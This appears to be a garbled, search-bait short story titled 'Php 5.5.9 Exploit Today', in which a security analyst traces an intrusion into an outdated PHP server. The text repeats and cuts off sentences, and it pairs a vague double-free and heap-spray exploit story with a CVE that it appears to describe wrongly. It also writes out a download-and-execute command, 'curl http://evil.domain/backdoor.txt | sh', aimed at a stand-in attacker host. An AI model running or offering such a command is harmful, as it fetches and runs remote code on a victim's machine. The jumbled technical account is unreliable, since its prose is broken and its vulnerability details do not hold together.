Php 5.5.9 Exploit Today
But the magic wasn't in the crash. It was in the resurrection.
The logs went silent.
Maya sipped cold coffee, the glow of her monitor the only light in the cramped security firm office. The log file on her screen was a confession: [2024-10-24 02:17:33] localhost: CVE-2015-4024 exploited via User-Agent . php 5.5.9 exploit
Then, the trigger. A crafted HTTP request with a malicious User-Agent header, longer than a novella, containing a specific sequence of null bytes and heap spray data. The get_headers() function, when fed a URL with a fragment identifier longer than 1024 bytes, would try to free a memory pointer that was already freed. A classic double-free.
By carefully aligning the subsequent memory allocations—using the server's own caching mechanism to store and recall serialized session data—the attacker could replace the freed pointer with their own payload. A tiny, polymorphic backdoor written in plain C, compiled on the fly using the system's own gcc . But the magic wasn't in the crash
The fix wasn’t just about a version upgrade. The entire ad-tech stack had custom extensions compiled against PHP 5.5.9. Upgrading to 7.x would break their proprietary ad-rendering engine. The CTO had chosen business continuity over security.
The server was running Ubuntu 14.04. The stack was ancient. And at its core, nestled like a sleeping dragon, was . Maya sipped cold coffee, the glow of her
The attacker had been rewriting that pointer to execute curl http://evil.domain/backdoor.txt | sh .
“That’s how they’re persisting,” she whispered.
?> She ran it. The PHP-FPM child process crashed, then respawned. But in the microsecond between free and respawn, she injected a tracer. The memory register showed a dangling pointer pointing directly to the system() function in libc.
Maya found the payload hiding in /tmp/.systemd-private- . It wasn't a web shell. It was a . Every 12 hours, the PHP-FPM process would recycle, the memory would be wiped, and the implant would vanish. But the attacker had automated the exploit to re-run at 02:17 AM daily, when the logs rotated and the night sysadmin was asleep.